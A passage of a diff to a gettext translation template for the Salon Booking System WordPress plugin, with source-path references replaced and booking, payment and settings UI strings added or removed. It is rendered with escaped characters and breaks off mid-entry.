System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:255\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:36\n+msgid \"Services\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FMetabox\u002FBooking.php:619, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:619, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:619, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:607, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:619\n-msgid \"Restore booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_booking_info.php:75\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_info.php:75\n+msgid \"SERVICES & ASSISTANTS\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FMetabox\u002FBookingActions.php:10, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FBookingActions.php:10, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBookingActions.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FMetabox\u002FBookingActions.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FBookingActions.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FBookingActions.php:10\n-msgid \"Booking Actions\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:80\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:80\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:80\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:80\n+msgid \"Services & assistants\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FMetabox\u002FResource.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FResource.php:23, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FResource.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FMetabox\u002FResource.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FResource.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FResource.php:23\n-msgid \"Resource details\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:264\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:264\n+msgid \"Services Archive\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FMetabox\u002FService.php:65, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:65, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:65\n-msgid \"Service description\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:118\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:118\n+msgid \"Services assigned\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FMetabox\u002FService.php:77, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:77, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:77\n-msgid \"Service Description\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:155\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:205\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:155\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:205\n+msgid \"Services booked per single reservation\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FMetabox\u002FService.php:82, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:82, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:82\n-msgid \"A very short description of this service. It is optional\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:93\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:96\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:93\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:96\n+msgid \"Services Categories\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPaymentMethod\u002FPaypal.php:25, src\u002FSLN\u002FPaymentMethod\u002FStripe.php:81, src\u002FSLN\u002FPaymentMethod\u002FStripe.php:52, src\u002FSLN\u002FPaymentMethod\u002FStripe.php:72\n-msgid \"Your payment has not been completed\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:48\n+msgid \"Services ids.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPaymentMethod\u002FStripe.php:103\n-msgid \"Payment operation parameter missing. Please try again or contact support.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:78\n+msgid \"Services need to check.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPaymentMethod\u002FStripe.php:101\n-msgid \"Payment method mismatch. Please try again or contact support.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:278\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:278\n+msgid \"Services selection limit\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPaymentMethod\u002FStripe.php:99\n-msgid \"Payment callback received without required parameters. Please contact support if this persists.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:60\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:161\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:60\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:161\n+msgid \"Services Warmed:\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:352\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:259\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:352\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:259\n+msgid \"Services:\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPaymentMethod\u002FStripe.php:77\n-msgid \"Payment failed, please try again\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:62\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:62\n+msgid \"Session average duration\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPaymentMethod\u002FStripe.php:264\n-msgid \"Payment method failed, details: \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:304\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:304\n+msgid \"\"\n+\"Session data cannot be stored. Please enable cookies and sessions in your \"\n+\"browser.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAbstract.php:55, src\u002FSLN\u002FPostType\u002FBooking.php:228, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:55, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:228, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:55, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:228, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:228, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:228, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:228\n-msgid \"Duplicate this item\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_preview.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_preview.php:31\n+msgid \"Session Duration\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAbstract.php:56, src\u002FSLN\u002FPostType\u002FBooking.php:229, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:56, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:229, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:56, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:229, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:229, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:229, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:229\n-msgid \"Duplicate\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:109\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:109\n+msgid \"Session duration\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:213\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:213\n+msgid \"Set a time range for this exclusion rule\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:196\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:219\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:196\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:219\n+msgid \"Set a time range for this rule\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAbstract.php:78, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:78, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:78\n-msgid \"No post to duplicate has been supplied!\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:95\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:95\n+msgid \"Set as default status\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAbstract.php:89, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:89, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:89\n-msgid \"Copy creation failed, could not find original:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:219\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:219\n+msgid \"Set custom deposits per service\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:120\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:120\n+msgid \"Set holidays and closed days.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:15\n+msgid \"Set one or more conditions to define the amount of the upfront payment\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAbstract.php:94, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:94, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:94\n-msgid \"Current user is not allowed to copy posts.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:10\n+msgid \"\"\n+\"Set one or more rules for your holidays.\u003Cbr \u002F> Users will not be able to \"\n+\"make reservation during these periods\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:140, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:140, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:140\n-msgid \"Attendant ID\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 